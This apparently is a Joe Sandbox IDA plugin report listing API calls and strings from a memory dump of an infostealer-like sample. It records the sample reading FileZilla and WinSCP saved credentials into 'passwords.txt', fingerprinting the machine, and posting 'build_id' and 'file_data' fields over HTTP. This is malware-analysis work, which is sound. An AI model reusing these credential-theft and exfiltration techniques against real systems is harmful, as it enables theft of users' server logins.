Part of subcall function 00184AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AE8
Part of subcall function 00184AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AEE
Part of subcall function 00184AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AF4
Part of subcall function 00184AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00184B06
Part of subcall function 00184AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00184B0E

lstrlenA.KERNEL32(?), ref: 00185519

Part of subcall function 00191E32: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,003DE708,?,?,?,001928E1,?,?,00000000), ref: 00191E52
Part of subcall function 00191E32: GetProcessHeap.KERNEL32(00000000,?,?,?,?,001928E1,?,?,00000000), ref: 00191E5F
Part of subcall function 00191E32: HeapAlloc.KERNEL32(00000000,?,?,?,001928E1,?,?,00000000), ref: 00191E66

StrCmpCA.SHLWAPI(?,001B6976,001B695B,001B6957,001B694B), ref: 00185588
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 001855AA
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001856C0
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00185704
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00185736

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

lstrlenA.KERNEL32(?,",file_data,001B7848,------,001B783C,?,",001B7830,------,001B7824,df523263f44cc8d55414a260a0197e4a,",build_id,001B780C,------), ref: 00185C67
lstrlenA.KERNEL32(?), ref: 00185C7A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00185C92
HeapAlloc.KERNEL32(00000000), ref: 00185C99
lstrlenA.KERNEL32(?), ref: 00185CA6
_memmove.LIBCMT ref: 00185CB4
lstrlenA.KERNEL32(?,?,?), ref: 00185CC9
_memmove.LIBCMT ref: 00185CD6
lstrlenA.KERNEL32(?), ref: 00185CE4
lstrlenA.KERNEL32(?,?,00000000), ref: 00185CF2
_memmove.LIBCMT ref: 00185D05
lstrlenA.KERNEL32(?,?,00000000), ref: 00185D1A
HttpSendRequestA.WININET(?,?,00000000), ref: 00185D2D
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00185D6F
InternetReadFile.WININET(?,?,000007CF,?), ref: 00185E26
StrCmpCA.SHLWAPI(?,block), ref: 00185E3B
ExitProcess.KERNEL32 ref: 00185E46

Strings

------, xrefs: 00185605
------, xrefs: 0018589D
", xrefs: 00185C35
block, xrefs: 00185E30
------, xrefs: 001859FF
--, xrefs: 00185600
file_data, xrefs: 00185C09
ERROR, xrefs: 00185F2F
", xrefs: 00185AD8
ERROR, xrefs: 00185D79
------, xrefs: 0018573C
build_id, xrefs: 0018594F
", xrefs: 0018597B
------, xrefs: 00185B5D
df523263f44cc8d55414a260a0197e4a, xrefs: 001859A7
", xrefs: 0018581B

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrlen$Internetlstrcpy$Heap$HttpProcess_memmove$AllocOpenRequestlstrcat$BinaryConnectCrackCryptExitFileInfoOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$ERROR$ERROR$block$build_id$df523263f44cc8d55414a260a0197e4a$file_data
API String ID: 2638065154-1849827821
Opcode ID: 67d70663e7b20b3006c4efaf45bc568db909330afc8aeba9d32992d1231cc5cb
Instruction ID: 9bfe0aab9c3e049caef41729813122bcda0405a74e8666b8f5043dec51f8624a
Opcode Fuzzy Hash: 67d70663e7b20b3006c4efaf45bc568db909330afc8aeba9d32992d1231cc5cb
Instruction Fuzzy Hash: FD428071D111699BEF22FB20DC42ADDB7B8BB24304F0585E1E589B7162DB706F869F80

Function 0018E6A4 Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 289
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 00191D91: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00191DD2

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

Part of subcall function 00187FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0018E72B,?,?,?), ref: 00187FC7
Part of subcall function 00187FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FDE
Part of subcall function 00187FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FF5
Part of subcall function 00187FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0018E72B,?,?,?), ref: 0018800C
Part of subcall function 00187FAC: CloseHandle.KERNEL32(?,?,?,?,?,0018E72B,?,?,?), ref: 00188034

Part of subcall function 00191DF4: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00196973,?), ref: 00191E0C

strtok_s.MSVCRT ref: 0018E753
GetProcessHeap.KERNEL32(00000000,000F423F,001B68FF,001B68FE,001B68EF,001B68EE), ref: 0018E799
HeapAlloc.KERNEL32(00000000), ref: 0018E7A0
StrStrA.SHLWAPI(00000000,<Host>), ref: 0018E7B4
lstrlenA.KERNEL32(00000000), ref: 0018E7BF
StrStrA.SHLWAPI(00000000,<Port>), ref: 0018E7F3
lstrlenA.KERNEL32(00000000), ref: 0018E7FE
StrStrA.SHLWAPI(00000000,<User>), ref: 0018E82C
lstrlenA.KERNEL32(00000000), ref: 0018E837
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0018E865
lstrlenA.KERNEL32(00000000), ref: 0018E870
lstrlenA.KERNEL32(?), ref: 0018E8D6
lstrlenA.KERNEL32(?), ref: 0018E8EA
lstrlenA.KERNEL32(0018EC91), ref: 0018EA12

Part of subcall function 00196ED9: CreateThread.KERNEL32(00000000,00000000,00196E08,?,00000000,00000000), ref: 00196F78
Part of subcall function 00196ED9: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00196F80

Strings

<Pass encoding="base64">, xrefs: 0018E85F
Soft: FileZilla, xrefs: 0018E91D
Login: , xrefs: 0018E961
<Port>, xrefs: 0018E7ED
Password: , xrefs: 0018E983
passwords.txt, xrefs: 0018EA22
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0018E6F4
<Host>, xrefs: 0018E7AE
Host: , xrefs: 0018E929
<User>, xrefs: 0018E826

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 4146028692-935134978
Opcode ID: 22e426902acfc58ab6e02f18dfeb8ad449620b414e4c2d3246448fd668436280
Instruction ID: 8ede167f96e84dc68711f21f54deb8c8c1f999ef999c5b84e235bc685d1e7792
Opcode Fuzzy Hash: 22e426902acfc58ab6e02f18dfeb8ad449620b414e4c2d3246448fd668436280
Instruction Fuzzy Hash: 8DA12D32D41219ABDF02BBA4EC8A9DD7BB8AF29704F114461F601B7061DB74AF468F91

Function 0018E15B Relevance: 56.3, APIs: 18, Strings: 14, Instructions: 325
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0018E18C
_memset.LIBCMT ref: 0018E1AC
_memset.LIBCMT ref: 0018E1BD
_memset.LIBCMT ref: 0018E1CE
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0018E202
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0018E233
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0018E24B
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0018E272
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0018E292
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0018E2B5
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,Host: ,Soft: WinSCP,001B68D7), ref: 0018E34E
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,?), ref: 0018E3AE

Strings

Password: , xrefs: 0018E4FE
Host: , xrefs: 0018E2FF
PortNumber, xrefs: 0018E392
UseMasterPassword, xrefs: 0018E223
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0018E1E0
Soft: WinSCP, xrefs: 0018E2D3
Login: , xrefs: 0018E42E
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0018E288
passwords.txt, xrefs: 0018E637
Security, xrefs: 0018E228
UserName, xrefs: 0018E46B
Password, xrefs: 0018E4EA
:22, xrefs: 0018E402
HostName, xrefs: 0018E33C

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: _memset$Value$CloseOpen$Enum
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 463713726-2798830873
Opcode ID: 6f5d8e77f9f7287e173d31e2f977c779084159d9268d043ee3e58eeb132fcfbd
Instruction ID: 23a33dc20356cdb165a977024ecb399a72ba054c80b0213297a20d78f017591b
Opcode Fuzzy Hash: 6f5d8e77f9f7287e173d31e2f977c779084159d9268d043ee3e58eeb132fcfbd
Instruction Fuzzy Hash: DDD1B17291012DABEF22EB94DC82AE9B7B8AF14704F1144E7E509B6051DB70BF85CF61

Function 00185F39 Relevance: 53.0, APIs: 20, Strings: 10, Instructions: 466
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

Part of subcall function 00184AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AE8
Part of subcall function 00184AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AEE
Part of subcall function 00184AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AF4
Part of subcall function 00184AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00184B06
Part of subcall function 00184AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00184B0E

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00185FD8
StrCmpCA.SHLWAPI(?), ref: 00185FF6
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0018618E
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 001861D2
lstrlenA.KERNEL32(?,",mode,001B78D0,------,001B78C4,df523263f44cc8d55414a260a0197e4a,",build_id,001B78AC,------,001B78A0,",001B7894,------), ref: 001865FD
lstrlenA.KERNEL32(?), ref: 0018660C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00186617
HeapAlloc.KERNEL32(00000000), ref: 0018661E
lstrlenA.KERNEL32(?), ref: 0018662B
_memmove.LIBCMT ref: 00186639
lstrlenA.KERNEL32(?), ref: 00186647
lstrlenA.KERNEL32(?,?,00000000), ref: 00186655
_memmove.LIBCMT ref: 00186662
lstrlenA.KERNEL32(?,?,00000000), ref: 00186677
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00186685
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 001866E2
InternetCloseHandle.WININET(00000000), ref: 001866ED
InternetCloseHandle.WININET(?), ref: 001866F9
InternetCloseHandle.WININET(?), ref: 00186705
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00186200

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Strings

mode, xrefs: 00186575
------, xrefs: 00186206
build_id, xrefs: 00186419
", xrefs: 00186445
------, xrefs: 001864C9
", xrefs: 001862E5
------, xrefs: 00186367
", xrefs: 001865A1
------, xrefs: 00186080
df523263f44cc8d55414a260a0197e4a, xrefs: 00186471

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$------$------$------$------$build_id$df523263f44cc8d55414a260a0197e4a$mode
API String ID: 3702379033-74871842
Opcode ID: d578a3113e40645e15ce252a2fa6a5a5041d901ffaef9ab68d0aaf1d700d82b3
Instruction ID: ac914e19075e4719dc85943a6dde35ba32b49c1a9e03a7977162d6f4247db24c
Opcode Fuzzy Hash: d578a3113e40645e15ce252a2fa6a5a5041d901ffaef9ab68d0aaf1d700d82b3
Instruction Fuzzy Hash: 7D2263319001699BDF22FB60DC46BCDB774AF29704F4284E2E61977162DB706F8A8F50

Function 00193BC6 Relevance: 49.7, APIs: 2, Strings: 26, Instructions: 674
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

Part of subcall function 00190C95: GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,001B65B6,?,?,?), ref: 00190CAD
Part of subcall function 00190C95: HeapAlloc.KERNEL32(00000000), ref: 00190CB4
Part of subcall function 00190C95: GetLocalTime.KERNEL32(?), ref: 00190CC0
Part of subcall function 00190C95: wsprintfA.USER32 ref: 00190CEB

Part of subcall function 001915A9: _memset.LIBCMT ref: 001915DC
Part of subcall function 001915A9: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 001915FB
Part of subcall function 001915A9: RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 00191620
Part of subcall function 001915A9: RegCloseKey.ADVAPI32(?,?,?,?), ref: 0019162C
Part of subcall function 001915A9: CharToOemA.USER32(?,?), ref: 00191640

Part of subcall function 00191659: GetCurrentHwProfileA.ADVAPI32(?), ref: 00191674
Part of subcall function 00191659: _memset.LIBCMT ref: 001916A3
Part of subcall function 00191659: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 001916CB
Part of subcall function 00191659: lstrcatA.KERNEL32(?,001B6ED4,?,?,?,?,?), ref: 001916E8

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 00190977: GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 001909AA
Part of subcall function 00190977: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 001909EA
Part of subcall function 00190977: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00190A3F
Part of subcall function 00190977: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00190A46

GetCurrentProcessId.KERNEL32(Path: ,001B6884,HWID: ,001B6878,GUID: ,001B686C,00000000,MachineID: ,001B685C,00000000,Date: ,001B6850,001B684C,11.1,Version: ,001B65B6), ref: 00193E1B

Part of subcall function 0019221F: OpenProcess.KERNEL32(00000410,00000000,00193E2A,00000000,?), ref: 00192241
Part of subcall function 0019221F: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0019225C
Part of subcall function 0019221F: CloseHandle.KERNEL32(00000000), ref: 00192263

Part of subcall function 00190B05: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00193ED5,Windows: ,001B68A8), ref: 00190B19
Part of subcall function 00190B05: HeapAlloc.KERNEL32(00000000,?,?,?,00193ED5,Windows: ,001B68A8), ref: 00190B20

Part of subcall function 001917DC: __EH_prolog3_catch_GS.LIBCMT ref: 001917E3
Part of subcall function 001917DC: CoInitializeEx.OLE32(00000000,00000000,0000004C,00193F39,Install Date: ,001B68B8,00000000,Windows: ,001B68A8,Work Dir: In memory,001B6890), ref: 001917F4
Part of subcall function 001917DC: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00191805
Part of subcall function 001917DC: CoCreateInstance.OLE32(001B2F00,00000000,00000001,001B2E30,?), ref: 0019181F
